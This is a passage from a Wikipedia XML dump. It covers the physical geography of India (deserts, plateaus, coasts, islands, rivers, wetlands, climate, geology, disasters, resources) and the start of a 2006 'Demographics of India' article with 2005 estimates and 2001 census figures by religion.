The desert can be divided into two regions, the great Desert and the little desert. The great Desert extends northwards from the edge of the [[Rann of Kutch]] region of Gujarat. The little desert extends from the [[River Luni]] between the towns of [[Jodhpur]] and [[Jaisalmer]], up to the northern areas.  The soils of the arid region are generally sandy to sandy-loam in texture. The consistency and depth vary according to the topographical features. The low-lying loams are heavier and may have a hard pan of clay, [[calcium carbonate]] or [[gypsum]]. Due to the low population density, the effect of the population on the environment is relatively less compared to the rest of India.

===Highlands===
The Central Highlands are composed of three main plateaus &amp;ndash; the [[Malwa]] Plateau in the west, the [[Deccan Plateau]] in the south, (covering most of the Indian peninsula); and the [[Chota Nagpur Plateau]] in [[Jharkhand]] towards the east.

[[image:deccan.jpg|thumb|240px|Satellite image of the Deccan region of southern India]]
The '''Deccan''' [[plateau]] is a large triangular plateau, bounded by the Vindhyas to the north and flanked by the Eastern and Western Ghats. The Deccan covers a total area of 1.9 million&amp;nbsp;km&amp;sup2; (735,000 mile&amp;sup2;). It is mostly flat, with elevations ranging from 300 to 600&amp;nbsp;m (1,000 to 2,000&amp;nbsp;feet) {{ref|deccan}}.

The name ''Deccan'' comes from the [[Sanskrit language|Sanskrit]] word ''dakshina'', which means &quot;the south&quot;. The plateau slopes gently from west to east and gives rise to several peninsular [[river]]s such as the [[Godavari]], the [[Krishna]], the [[Kaveri]] and the [[Narmada River|Narmada]]. This region is mostly semi-arid as it lies on the leeward side of both Ghats. Much of the Deccan is covered by thorn scrub forest scattered with small regions of [[deciduous]] broadleaf forest. Climate ranges from hot summers to mild winters.

The '''Chota Nagpur Plateau''' is a plateau in eastern India, which covers much of [[Jharkhand]] state as well as adjacent parts of [[Orissa]], [[Bihar]], and [[Chhattisgarh]]. The total area of Chota Nagpur Plateau is approximately 65,000&amp;nbsp;km&amp;sup2; (25,000&amp;nbsp;mile&amp;sup2;). The Chota Nagpur Plateau is made up of three smaller plateaus, the Ranchi, Hazaribagh, and Kodarma plateaus. The Ranchi plateau is the largest of the plateaus, with an average elevation of 700&amp;nbsp;m (2,300&amp;nbsp;feet). Much of the plateau is forested, covered by the [[Chota Nagpur dry deciduous forest]]s. The plateau is famous for its vast reserves of ores and [[coal]].

Besides the Great Indian peninsula, the [[Kathiawar]] Peninsula in Gujarat is another large peninsula of India.

=== East coast===
The '''Eastern Coastal Plain''' is a wide stretch of land lying between the Eastern Ghats and the Bay of Bengal. It stretches from Tamil Nadu in the south to West Bengal in the north. [[river delta|Deltas]] of many of India's rivers form a major portion of these plains. The [[Mahanadi]], [[Godavari]], [[Kaveri]] and [[Krishna]] rivers drain these plains. The region receives both the Northeast and Southwest monsoon rains with its annual rainfall averaging between 1,000&amp;nbsp;mm (40&amp;nbsp;in) and 3,000&amp;nbsp;mm (120&amp;nbsp;in). The width of the plains varies between 100 to 130&amp;nbsp;km (62 to 80&amp;nbsp;miles) {{ref|ecp}}.

The plains are divided into seven regions: The Mahanadi delta; the southern Andhra Pradesh plain; the Krishna Godavari deltas; the Kanyakumari coast; [[Coromandel Coast]] and sandy [[littoral]].

=== West coast===
[[Image:India Goa Coastline Tiracol.jpg|thumb|240px|A view of India's west coast at Goa, near the border with Maharashtra.]]
The '''Western Coastal Plain''' is a narrow strip of land sandwiched between the Western Ghats and the Arabian Sea. The strip begins in Gujarat in the north and extends across the states of [[Maharashtra]], [[Goa]], Karnataka and Kerala. The plains are narrow, and range from 50 to 100&amp;nbsp;km (30 to 60&amp;nbsp;miles) in width. 

Small rivers and numerous backwaters inundate the region. The rivers, which originate in the Western Ghats, are fast flowing and are mostly perennial. The fast flowing nature of the rivers results in the formation of [[estuary|estuaries]] rather than deltas. Major rivers flowing into the sea are the Tapi, Narmada, [[Mandovi]] and [[Zuari]].

The coast is divided into three regions. The northern region of Maharashtra and Goa is known as the [[Konkan|Konkan Coast]], the central region of Karnataka is known as the '''Kanara Coast''' and the southern coastline of Kerala is known as the [[Malabar Coast]]. Vegetation in this region is mostly deciduous. The Malabar Coast has its own unique ecoregion known as the [[Malabar Coast moist forests]].

=== Islands ===
India has two major offshore island possessions: the [[Lakshadweep]] islands and the [[Andaman and Nicobar Islands]]. Both these island groups are administered by the Union government of India as [[Union Territory|Union Territories]]. 

The Lakshadweep islands lie 200 to 300&amp;nbsp;km (124 to 186&amp;nbsp;miles) off the coast of Kerala in the Arabian Sea. It consists of twelve [[coral]] [[atoll]]s, three [[coral reef]]s, and five banks. Ten of these islands are inhabited.

The Andaman and Nicobar island chain lies in the Bay of Bengal near the Myanmar coast. It is located 950&amp;nbsp;km (590&amp;nbsp;miles) from [[Kolkata]] (Calcutta) and 193&amp;nbsp;km (120&amp;nbsp;miles) from [[Cape Negrais]] in Myanmar. The territory consists of two island groups, the [[Andaman Islands]] and the [[Nicobar Islands]]. The Andaman islands consist of 204 islands having a total length of 352&amp;nbsp;km (220&amp;nbsp;miles). The Nicobar Islands, which lie south of the Andamans, consists of twenty-two islands with a total area of 1,841&amp;nbsp;km&amp;sup2; (710&amp;nbsp;mile&amp;sup2;). The highest point is [[Mount Thullier]] at 642&amp;nbsp;m (2,140&amp;nbsp;feet). [[Indira Point]], India's southernmost land point is situated in the Nicobar islands, and lies just 189&amp;nbsp;km (117&amp;nbsp;miles) from the Indonesian island of [[Sumatra]] to the southeast.

Significant islands just off the Indian coast include [[Diu]], a former [[Portugal |Portuguese]] exclave; [[Majuli]], Asia's largest [[freshwater]] island; [[Salcette Island]], India's most populous island, on which [[Mumbai]] (Bombay) city is located; [[Elephanta]] in [[Bombay Harbour]]; and [[Sriharikota]] [[barrier island]] in Andhra Pradesh.

==Rivers==
{{main|Rivers of India}}
[[image:Indiarivers.png|thumb|220px|Rivers in India.]]
All major [[rivers]] of India originate from one of the three main [[watershed]]s. They are: {{inote|Manorama 517|man-517}}
#The Himalaya and the [[Karakoram]] ranges
#Vindhya and Satpura range in central India
#Sahyadri or Western Ghats in western India

The Himalayan river networks are snow-fed and have a continuous flow throughout the year. The other two networks are dependant on the monsoons and shrink into rivulets during the dry season.

Twelve of India's rivers are classified as major, with the total catchment area exceeding 2,528,000&amp;nbsp;km&amp;sup2; (976,000&amp;nbsp;mile&amp;sup2;).

[[Image:River Teesta.jpg|thumb|220px|left|The [[Teesta River]], a tributary of the [[Brahmaputra]] in northern [[West Bengal]].]]
Himalayan rivers or the northern rivers that flow westward into Pakistan are the [[Indus River|Indus]], [[Beas River|Beas]], [[Chenab]], [[Ravi River|Ravi]], [[Sutlej]], and [[Jhelum River|Jhelum]].

The [[Ganga basin|Ganga-Brahmaputra-Meghana system]] has the largest catchment area of 1,100,000&amp;nbsp;km&amp;sup2; (424,700&amp;nbsp;mile&amp;sup2;). The river Ganga originates at the [[Gangotri Glacier]] in [[Uttaranchal]]. It flows in a south easterly direction, draining into [[Bangladesh]]. The [[Yamuna]] and [[Gomti]] rivers also arise in the Western Himalayas and join the Ganga river in the plains. The Brahmaputra, another tributary of the Ganga originates in [[Tibet]] and enters India in the far eastern state of [[Arunachal Pradesh]]. It then proceeds westwards, unifying with the Ganga in Bangladesh.
[[Image:Narmada.jpg|thumb|220px|The [[Narmada River]] in central India.]]
The [[Chambal River|Chambal]], another tributary of the Ganga originates from the Vindhya-Satpura watershed. The river flows eastward. Westward flowing rivers from this watershed are the [[Narmada River|Narmada]] (also called Nerbudda) and [[Tapti]] (also spelt Tapi) rivers which drain into the Arabian Sea in Gujarat. The river network that flows from east to west constitutes 10% of the total outflow.

The Western Ghats are the source of all [[Deccan]] rivers. Major rivers in the Deccan include the [[Mahanadi]], [[Godavari]], [[Krishna River|Krishna]], and [[Kaveri River]] (also spelt Cauvery), all draining into the [[Bay of Bengal]]. These rivers constitute 20% of India's total outflow.
&lt;br clear=&quot;all&quot;&gt;

==Bodies of water==
[[Image:Pangong lake by martinl.jpg|thumb|250px|The Pangong Lake in Ladakh, is a fine example of a mountain lake in the Himalayas.]]
Major gulfs include the [[Gulf of Cambay]], [[Gulf of Kutch]] and the [[Gulf of Mannar]]. Straits include the [[Palk Strait]] which separates India from Sri Lanka and the [[Ten Degree Channel]], separating the Andamans from the Nicobar Islands and the Eight Degree Channel separating the Laccadive and Amindivi Islands from Minicoy Island towards the south. Important capes include the [[Cape Comorin]], the southern tip of mainland India, [[Indira Point]], the southernmost location of India, [[Rama's Bridge]] and [[Point Calimere]].

Smaller seas include the [[Laccadive Sea]] and the [[Andaman Sea]].
There are four [[coral reef]]s in India and are located in; the Andaman and Nicobar Islands, [[Gulf of Mannar]], Lakshadweep and [[Gulf of Kutch]]. {{inote|Manorama pg 580|man-580}}

Important lakes include [[Chilka Lake]], the country's largest salt-water lake in Orissa; [[Kolleru Lake]] in Andhra Pradesh; [[Loktak Lake]] in [[Manipur]], [[Dal Lake]] in Kashmir, [[Sambhar Lake]] in Rajasthan, and the [[Sasthamkotta Lake]] in Kerala.

==Wetlands==
India's wetland ecosystem is widely distributed from the cold and arid; from ones in the [[Ladakh]] region in the state of [[Jammu and Kashmir]] to the ones in the wet and humid climate of peninsula India. Most of the wetlands are directly or indirectly linked to India's river networks. The Indian government has identified a total of 22 wetlands for conservation. Among the protected wetlands are the tropical mangrove forests in peninsular India and the salt mudflats in western India.

Mangrove forests occur all along the Indian coastline, in sheltered estuaries, creeks, backwaters, salt marshes and mud flats. The mangrove area covers a total of 6,740&amp;nbsp;km&amp;sup2; (2,600&amp;nbsp;mile&amp;sup2;) which comprises 7% of the world's total mangrove cover. The Andaman and Nicobar Islands; the [[Sundarbans]]; [[Gulf of Kutch]]; deltas of the Mahanadi, Godavari and Krishna; and parts of Maharashtra, Karnataka and Kerala have large mangrove covers. {{inote|Manorama pg 580|man-580}}

Most of the identified wetlands adjoin or are parts of sanctuaries, national parks and are thus protected.

===The Sundarbans===
[[Image:Ganges River Delta, Bangladesh, India.jpg|thumb|right|250px|Ganges River Delta, Bangladesh and India]]
{{main|Sundarbans}}
The '''Sundarbans''' [[river delta|delta]] is the largest [[mangrove]] forest in the world. It lies at the mouth of the [[Ganges]] and is spread across areas of [[Bangladesh]] and [[West Bengal]], [[India]]. The Bangladeshi and Indian portions of the jungle are listed in the [[UNESCO]] [[world heritage]] list separately as the Sundarbans and [[Sundarbans National Park]] respectively, though they are parts of the same forest. The Sundarbans are intersected by a complex network of [[tide|tidal]] waterways, [[mudflat]]s and small [[island|islands]] of salt-tolerant mangrove forests, and presents an excellent example of ongoing [[ecology|ecological]] processes. 

The area is known for its wide range of fauna. The most famous among these is the [[Bengal Tiger]], but numerous species of [[bird]]s, spotted [[deer]], [[crocodile]]s and [[snake]]s also inhabit it. It is estimated that there are now 400 Bengal tigers and about 30,000 spotted deer in the area.

===Rann of Kutch===
{{main|Rann of Kutch}}
The '''Rann of Kutch''' is a [[marsh]]y region located in the Gujarat state of India, which borders the [[Sindh]] region of Pakistan. The name ''Rann'' comes from the [[Hindi]] word ''ran'' meaning &quot;salt marsh.&quot; It occupies a total area of 27,900 km&amp;sup2; (10,800 mile&amp;sup2;){{ref|rann}}.

The region was originally a part of the Arabian Sea. Geologic forces, most likely by earthquakes, resulted in the damming up of the region, turning it into a large salt-water [[lagoon]]. This area gradually filled with silt thus turning it into a seasonal salt marsh. During the monsoons, the area turns into a shallow marsh, often flooding to knee-depth height. After the monsoons, the region turns dry and becomes parched.

== Climate ==
{{main|Climate of India}}
India's climate is strongly influenced by the Himalayas and the Thar Desert. The Himalayas, along with the [[Hindu Kush]] mountains in Pakistan, provide a barrier to the cold winds from [[central Asia]]. This keeps most of the Indian subcontinent warmer than most locations in similar latitudes. The Thar Desert is responsible for attracting the moisture laden monsoon winds that provide most of India's rainfall.

It is difficult to generalise India's climate. India's huge size sees climatic conditions in Kashmir having little relation to that in the extreme south. In addition to this, the varied topography of the land sees many regions having their own [[microclimate]]s. Climate in India ranges from [[tropical]] in the south to a temperate climate in the north. Parts of India in the Himalayas have a [[polar climate]]. 

Meteorologists divide the year into four main seasons for most of the country: monsoon, summer, winter and withdrawal of the monsoons. Parts of India that lie in the Himalayan region see five seasons: spring, summer, monsoons, autumn and winter. Sustained snowfalls occur only in the elevated sections.

[[Image:Indiatemperaturetemp.png|thumb|240px|Temperature averages in India; units are in degree Celsius.]]
Summer lasts between March and June in most parts of India. Temperatures exceed 40&amp;nbsp;&amp;deg;C (104&amp;nbsp;&amp;deg;F) during the day. The coastal regions exceed 30&amp;nbsp;&amp;deg;C (86&amp;nbsp;&amp;deg;F) coupled with high levels of [[humidity]]. In the Thar desert area temperatures can exceed 45&amp;nbsp;&amp;deg;C (113&amp;nbsp;&amp;deg;F).

Summer is followed by the southwest [[monsoon]] rains that provide most of India its rainfall. The rain-bearing clouds are attracted to the low-pressure system created by the Thar Desert. The official date for the arrival of the monsoon is [[1 June]], when the monsoon crosses the Kerala coast. The southwest monsoon splits into two arms, the Bay of Bengal arm and the Arabian Sea arm. The Bay of Bengal arm moves north-wards crossing northeast India in early June. It then progresses eastwards, crossing Delhi by [[June 29]]. The Arabian Sea arm moves north-wards and deposits much of its rain on the windward side of Western Ghats. By early July, most of India receives rain from the monsoons.

The monsoons start retreating by August from northern India and by October from Kerala. This short period after the retreat is known as the '''retreat of the monsoons''' and is characterised by still weather. By November, winter starts setting in the northern areas. 

Winters start in November in northern India and late December in southern India. Winters in peninsula India see mild to warm days and cool nights. Further north the temperature is cooler. Temperatures in some parts of the Indian plains sometimes fall below freezing. Most of northern India is plagued by [[fog]] during this season.

The highest temperature recoded in India was 50.6&amp;nbsp;&amp;deg;C (123.08&amp;nbsp;&amp;deg;F) in [[Alwar]] in [[1955]]. The lowest was &amp;minus;45&amp;nbsp;&amp;deg;C (&amp;minus;49&amp;nbsp;&amp;deg;F) in Kashmir. Recent claims of temperatures touching 55&amp;nbsp;&amp;deg;C (131&amp;nbsp;&amp;deg;F) in Orissa have been met with some scepticism by the [[India Meteorological Department|Indian Meteorological Department]], largely on the method of recording of such data. 
{{See also|Climatic Regions of India}}

== Geology ==
{{main|Geology of India}}
[[image:India-geology-map.png|thumb|240px|Geological regions of India]]
India has a varied geology spanning the entire spectrum of the geological time period. India's geological features are classified based on their era of formation.

The Pre-[[Cambrian]] period formations of Cudappah and Vindhyan systems are spread out over the eastern and southern states. A small part of this period is spread over western and central India. 

The [[Paleozoic]] Era formations from the Cambrian, Ordovician, Silurian and Devonian system are found in the Western Himalaya region in Kashmir and Himachal Pradesh. 

The [[Mesozoic]] Era [[Deccan Traps]] formation is seen over most of the northern Deccan. Geologists believe that the Deccan Traps were the result of sub-aerial volcanic activity. The Trap soil is black in colour and conducive to agriculture. The Carboniferous system, Permian System, Triassic and Jurassic systems are seen in the western Himalayas. The Jurassic system is also seen in Rajasthan.

[[Tertiary Period]] imprints are seen in parts of Manipur, Nagaland, parts of Arunachal Pradesh and along the Himalayan belt. The Cretaceous system is seen in central India in the Vindhyas and part of the Indo-Gangetic plains. The Gondowana system is also seen in the Narmada River area in the Vindhyas and Satpuras. The Eocene system is seen in the western Himalayas and Assam. Oligocene formations are seen in Kutch and in Assam.

The [[Pleistocene]] system is found over central India. It is rich in minerals such as lignite, iron ore, manganese and aluminium. The Andaman and Nicobar Island groups are thought to have been formed in this era by volcanoes. {{inote|Manorama pg 521-522|man-521}}

The Himalayas are a result of the convergence and deformation of the Indo-Australian and Eurasian Plates. Their continued convergence raises the height of the Himalayas by 1&amp;nbsp;cm each year.

== Natural disasters==
[[Image:India-naturalhazards-map.png|thumb|240px|Disaster prone regions in India]]
India is prone to several [[natural disasters]], responsible for huge losses in life and property. Natural disasters in India include droughts; flash floods, as well as widespread and destructive flooding from monsoonal rains; severe cyclones; and earthquakes.

[[Flood]]s are the most common natural disaster in India. During the monsoon season, heavy rainfall may cause rivers to distend their banks, often flooding the surrounding areas. The Brahmaputra River is prone to perennial flooding during the monsoon season. Floods are responsible for a number of deaths and property loss in many parts of India. With the exception of a few states, almost all of India is prone to flooding.

Indian agriculture is heavily dependent on the monsoon as a source of water. In some parts of India, the failure of the monsoons results in water deficiency in the region causing extensive crop losses. Drought prone regions include south Maharashtra, north Karnataka, Andhra Pradesh, Orissa, Gujarat and Rajasthan. In the past, failure of monsoons has led to famines causing great damage.

Tectonic plates beneath the earth's surface are responsible for yearly earthquakes along the Himalayan belt and in northeast India. This region is classified as a Zone V, indicating that it is a very high-risk area. Parts of western India, around the [[Kutch]] region in Gujarat and [[Koyna]] in Maharashtra, are classified as a Zone IV region (high risk). Other areas have a moderate to low risk chance of an earthquake occurring. {{inote|Manorama pg 196|man-196}}

Cyclones are another natural disaster, affecting thousands living in the coastal regions. Cyclones are severe and bring with them heavy rains that cut off supplies and relief to the affected areas. On [[2004-12-26]], a [[tsunami]] caused by the [[2004 Indian Ocean earthquake]] struck the Andaman and Nicobar Islands and India's east coast resulting in the loss of over ten thousand individuals. Until then India was thought to have negligible activity related to tsunamis, though there is historical anecdotal evidence of its occurrence in the past.

India has one [[active volcano]]: the [[Barren Island (Andaman Islands)|Barren Island]] volcano which last erupted in May 2005. There is also a [[dormant volcano]] called the [[Narcondum]] and a [[Mud volcano]] at [[Baratang]]. All these volcanoes lie in the [[Andaman Islands]].

[[Landslide]]s are common in the Lower Himalaya owing to labile rock formations due to the young age of the hills. Parts of the Western Ghats also suffer from low intensity landslides. [[Avalanche]]s occur in Kashmir, Himachal Pradesh and Sikkim.

During the summer months, dust storms cause immense property damage in northern India. These storms bring with it large amounts of dust from arid regions. [[Hailstones]] are common in parts of India, and cause severe damage to the standing crops.

== Natural resources ==
India is particularly rich in a variety of natural resources.  Along with 56% arable land, it has significant sources of [[Coal]] (fourth-largest reserves in the world), [[Iron]] ore, [[Manganese]], [[Mica]], [[Bauxite]], [[Titanium]] ore, [[Chromite]], [[Natural gas]], [[Diamond]]s, [[Petroleum]], [[Limestone]], [[Thorium]] (world's largest along [[Kerala]]'s shores).

Petroleum is found off the coast of Maharashtra, Gujarat and in Assam, but meets only 40% of India's demand. Increasing amounts of natural gas are being discovering regularly especially off the coast of Andhra Pradesh. [[Uranium]] is mined in Andhra Pradesh and [[gold]] in the [[Kolar Gold Fields]] in Karnataka.

== International agreements ==
India is a party to several International agreements related to environment and climate, the most prominent among them are:

{| width=&quot;100%&quot; bgcolor=&quot;#fff4f4&quot;
!align=&quot;center&quot; colspan=&quot;2&quot;|Treaties and Agreements
|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;| Specific Regions and [[Sea]]s
|align=&quot;left&quot; valign=&quot;top&quot;|&lt;small&gt;[[Government of Antarctica|The Antarctic Treaty]], [[Law of the Sea]], Ship Pollution ([[MARPOL 73/78]]), [[International Convention for the Regulation of Whaling|Whaling]]&lt;/small&gt;
|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;| [[Earth's atmosphere|Atmosphere]] and [[Climate]]
|align=&quot;left&quot; valign=&quot;top&quot;|&lt;small&gt;[[United Nations Framework Convention on Climate Change|Climate Change]], [[Kyoto Protocol]], [[Montreal Protocol|Ozone Layer Protection]], [[Partial Test Ban Treaty|Nuclear Test Ban]]&lt;/small&gt;
|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;| [[Biodiversity]], [[Natural environment|Environment]] and [[Forest]]s
|align=&quot;left&quot; valign=&quot;top&quot;|&lt;small&gt;[[United Nations Convention to Combat Desertification|Desertification]], [[Convention on the International Trade in Endangered Species of Wild Flora and Fauna|Endangered Species]], [[Convention on the Prohibition of Military or Any Other Hostile Use of Environmental Modification Techniques|Environmental Modification]], [[International Tropical Timber Agreement, 1983|Tropical Timber 83]] and [[International Tropical Timber Agreement, 1994|Tropical Timber 94]], [[Ramsar Convention|Wetland]]s&lt;/small&gt;
|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;| [[Wastes]]
|align=&quot;left&quot; valign=&quot;top&quot;|&lt;small&gt;[[Basel Convention|Hazardous Wastes]]&lt;/small&gt;
|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;| [[Rivers]]
|align=&quot;left&quot; valign=&quot;top&quot;|&lt;small&gt;[[Indus Water Treaty]]&lt;/small&gt; 
|}

== See also==
* [[Extreme points of India]]
*[[Geology of India]]
*[[Climate of India]]
*[[Ecoregions of India]] 
*[[National parks of India]]
*[[Regions of India]]
*[[Indian subcontinent]]

==Notes==
# {{note|afgh}} The Indian government considers the entire state of [[Jammu and Kashmir]] to be a part of India. This state borders a part of [[Afghanistan]]. A ceasefire sponsored by the [[United Nations]] in [[1948]] freezes the positions of Indian- and Pakistani-held territory. As a result, the region bordering Afghanistan is in Pakistani-administered territory.
# {{note|patkai}} [http://www.nios.ac.in/SecSoccour/English/Lesson07.pdf Physical divisions]
# {{note|deccan}} [http://india.punjabilit.com/land/deccan_plateau.htm Deccan Plateau]
# {{note|ecp}} [http://www.rainwaterharvesting.org/eco/ecp.htm The Eastern Coastal Plain]
# {{note|rann}} [http://www.nationalgeographic.com/wildworld/profiles/terrestrial/im/im0901.html Rann of Kutch seasonal salt marsh]

==References==
* {{Web reference | title=Physical Divisions | work=The Smiling Face of our Mother Land | URL=http://www.nios.ac.in/SecSoccour/English/Lesson07.pdf | date=June 9 | year=2005}}
* {{Web reference | title=Deccan Plateau | work=An eye on India | URL=http://india.punjabilit.com/land/deccan_plateau.htm | date=June 6 | year=2005}}
* {{Web reference | title=The Eastern Coastal Plain | work=Water Harvesting Techniques Prevalent in the Eastern Coastal Plain | URL=http://www.rainwaterharvesting.org/eco/ecp.htm | date=June 6 | year=2005}}
* {{Web reference | title=India | work=CIA World Factbook | URL=http://www.cia.gov/cia/publications/factbook/geos/in.html | date=June 6 | year=2005}}
* {{Web reference | title=Geology of India | work=geohead:Earth Science on your desktop | URL=http://www.geoahead.com/strati/india/index.cfm | date=June 6 | year=2005}}
* {{Web reference | title=The Land | work=The Great Mountains of the North | URL=http://www.geocities.com/kkbros.geo/kked8/docs/Geog04.doc | date=June 6 | year=2005}}
* {{Web reference | title=Land and Natural Resources | work=Terrain | URL=http://library.thinkquest.org/28853/terrain.htm | date=June 6 | year=2005}}
* {{Web reference | title=The Rann of Kutch | work=Rann Of Kutch, Geography Of Rann Of Kutch | URL=http://www.indiasite.com/land/kutch.html | date=June 6 | year=2005}}
* {{Web reference | title=Rann of Kutch seasonal salt marsh | work=Terrestrial Ecoregions &amp;ndash; Rann of Kutch seasonal salt marsh (IM0901) | 
URL=http://www.nationalgeographic.com/wildworld/profiles/terrestrial/im/im0901.html | date=June 6 | year=2005}}
* [http://www.adrc.or.jp/publications/databook/databook_2003_eng/PDF_Eng/chapter4-2.pdf Asian and ADRC Member Countries and their Disaster Characteristics] (PDF), Accessed on [[June 6]], [[2005]]
* {{cite book | author=Various authors | title=Manorama Year Book 2003 | publisher=Malayala Manorama Co. Ltd | year=2003 | id=ISBN 81-90461-8-7}}

{{Life in India}}

{{Asia in topic|Geography of}}

{{featured article}}

[[Category:Geography of India| ]]

[[de:Geographie Indiens]]
[[es:Geografía de la India]]
[[fr:Géographie de l'Inde]]
[[hr:Zemljopis Indije]]
[[pt:Geografia da Índia]]
[[sv:Indiens geografi]]
[[ta:இந்தியாவின் புவியியல்]]
[[zh:印度地理]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of India</title>
    <id>14598</id>
    <revision>
      <id>41635103</id>
      <timestamp>2006-02-28T18:05:34Z</timestamp>
      <contributor>
        <username>Nickshanks</username>
        <id>20152</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:population density map.png|thumb|300px|Map showing the population density of each state in India]]
Although [[India]] occupies only 2.4% of the world's land area, it supports over 15% of the world's population. Only [[China]] has a larger population. Almost 40% of Indians are younger than 15 years of age. More than 70% of the people live in more than 550,000 villages, and the remainder in more than 200 towns and cities. Over thousands of years of its history, India has had invasions from the [[Middle East]], [[Central Asia]], and the West; Indian people and [[Indian culture|culture]] have absorbed and changed these influences to produce a remarkable racial and cultural synthesis.

Religion, [[caste]], and language are major determinants of social and political organization in India today. The government has recognized 22 languages as official; [[Hindi]] is the most widely spoken. India also has the second largest number of [[English language|English]] speakers in the world with over 150 million people speaking English in India.
[[Image:literacy rate map.png|thumb|300px|Map showing the literacy rate of each state in India]]


Although more than 80% of the people are [[Hindu]], India also is the home of more than 130 million [[Muslim]]s&amp;mdash;one of the world's largest Muslim populations. The population also includes [[Christianity|Christians]], [[Sikh]]s, [[Jainism|Jains]], [[Buddhism|Buddhists]], [[Zoroastrianism|Parsis]], [[Ayyavazhi]], [[Bahá'í Faith|Bahá'ís]], and [[Jew]]s.

The [[caste]] system reflects Indian occupational and socio-religiously defined hierarchies. Traditionally, there are four broad categories of castes (varnas), including a category of outcastes, earlier called &quot;[[untouchables]]&quot; but now commonly referred to as &quot;[[dalits]].&quot; Within these broad categories there are thousands of castes and subcastes, called ''[[jati]]s'', whose relative status varies from region to region. Despite economic modernization and laws countering discrimination against the lower end of the class structure, the caste system remains an important source of social identification for most Hindus and many non-Hindus as well, thus making it a potent factor in the political life of the country.

'''Population:'''
1,080,264,388 (July 2005 est.) 

'''Age structure:'''
&lt;br&gt;''0–14 years:''
31.2%(male 173,634,432/female 163,932,475) 
&lt;br&gt;''15–64 years:''
63.9% (male 356,932,082/female 333,283,590) 
&lt;br&gt;''65 years and over:''
4.9% (male 26,542,025/female 25,939,784) (2005 est.) 

The average age of Indians is 26 years.

'''Population growth rate:'''
1.4% (2005 est.) 

'''Birth rate:'''
22.32 births/1,000 population (2005 est.) 

'''Death rate:'''
8.28 deaths/1,000 population (2005 est.) 

'''Net migration rate:'''
&amp;minus;0.07 migrant(s)/1,000 population (2005 est.) 

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.06 male(s)/female
&lt;br&gt;''15–64 years:''
1.07 male(s)/female
&lt;br&gt;''65 years and over:''
1.03 male(s)/female
&lt;br&gt;''total population:''
1.07 male(s)/female (2000 est.)

'''Infant mortality rate:'''
total: 56.29 deaths/1,000 live births 
female: 55.69 deaths/1,000 live births (2005 est.) 
male: 56.86 deaths/1,000 live births 

'''[[Life expectancy]] at birth:'''
&lt;br&gt;''total population:''
64.35 years 
&lt;br&gt;''male:''
63.57 years 
&lt;br&gt;''female:''
65.16 years (2005 est.)
&lt;br&gt; 

'''Total fertility rate:'''
2.78 children born/woman (2005 est.) 
&lt;br&gt;

'''Nationality:'''
&lt;br&gt;''noun:''
Indian(s)
&lt;br&gt;''adjective:''
Indian

'''Ethnic groups:'''
[[Indo-Aryans|Indo-Aryan]]([[Caucasoid]]) 72%, [[Dravidian race|Dravidian]] 25%, [[Mongoloid]] and other 3%

'''Religions:'''
Hindu 80.46%, Muslim 13.43%, Christian 2.34%, Sikh 1.87%, Buddhists 0.77%, Jains 0.41 %, Others or not stated 0.72% (2001 Census)

'''Languages:'''
[[English language|English]] enjoys associate status but is the most important language for national, political, and commercial communication, [[Hindi language|Hindi]] is the primary Official language of the Indian government and primary tongue of 30% of the people. Among the other major languages, [[Telugu language|Telugu]] (second highest spoken language in India), [[Bengali language|Bengali]], [[Gujarati language|Gujarati]], [[Marathi]] and [[Tamil language|Tamil]] all have about 50 million or more speakers ''within'' the boundaries of India (with more living in other countries). There are 22 languages recognised by the Indian Constitution - [[Assamese language|Assamese]], [[Bengali language|Bengali]], [[Bodo]], [[Dogri language|Dogri]], [[Gujarati language|Gujarati]], [[Hindi]], [[Kannada language|Kannada]], [[Kashmiri language|Kashmiri]], [[Konkani language|Konkani]], [[Maithili language|Maithili]], [[Malayalam language|Malayalam]], [[Manipuri language|Manipuri]], [[Marathi language|Marathi]], [[Nepali language|Nepali]], [[Oriya language|Oriya]], [[Punjabi language|Punjabi]], [[Sanskrit]], [[Santali language|Santali]], [[Sindhi language|Sindhi]], [[Tamil language|Tamil]], [[Telugu language|Telugu]], and [[Urdu]].

==Religion-wise breakdown==
Censuses were conducted in India in ancient times with examples such as [[Kautilya]]'s [[Arthashastra]] which describes the collection of population statistics for taxation. The [[British India|British]] census in [[1871]] was the first conducted in modern times in India.

The [[2001]] census figures released by the India Census Commission give a breakdown by various parameters including religion.

# All figures in %. 
# Gender Ratio*: no of females/1000 males
# ''Others'' includes Tribal Animists, [[Jew]]s, [[Parsi]]s and [[Bahá'í Faith|Bahá'ís]]


{| class=&quot;wikitable&quot;
|+ ''Census information for 2001''
|-
! Composition
! [[Hindu]]s
! [[Muslim]]s
! [[Christianity|Christian]]s
! [[Sikh]]s
! [[Buddhist]]s
! [[Jain]]s
! Others
|-
| % total of population 2001
| 80.46
| 13.43
| 2.34
| 1.87
| 0.77
| 0.41
| 0.72
|-
| 10-Yr Growth % (est '91-'01)
| 20.3
| 29.3
| 22.6
| 18.2
| 24.5
| 26
| NA
|-
| Gender ratio* (avg. 933)
| 931
| 936
| 1009
| 893
| 953
| 950
| 992
|-
| Literacy rate (avg. 64.8)
| 65.1
| 59.1
| 80.3
| 69.4
| 72.7
| 94.1
| 47
|-
| Work Participation Rate 
| 40
| 31.3
| 40
| 37.7
| 40
| 32.9
| NA
|-
| Rural gender ratio
| 944
| 953
| 1001
| 895
| 958
| 937
| 995
|-
| Urban gender ratio
| 894
| 907
| 1026
| 886
| 944
| 941
| 966
|-
| Child gender ratio (0-6 yrs)
| 925
| 950
| 964
| 786
| 942
| 870
| 927
|}

* Jews number about 4,000 of which 2,000 reside in [[Mumbai|Bombay]].
* Parsis number about 65,000, down from 71,000

== Ethnic Groups in India ==
The people of India belong to different Ethnic groups. There are atleast 4365{{fact}} different ethnic groups in India. These are divided into these broad groups. These ethnic groups are as follows.
&lt;br&gt;
&lt;br&gt;
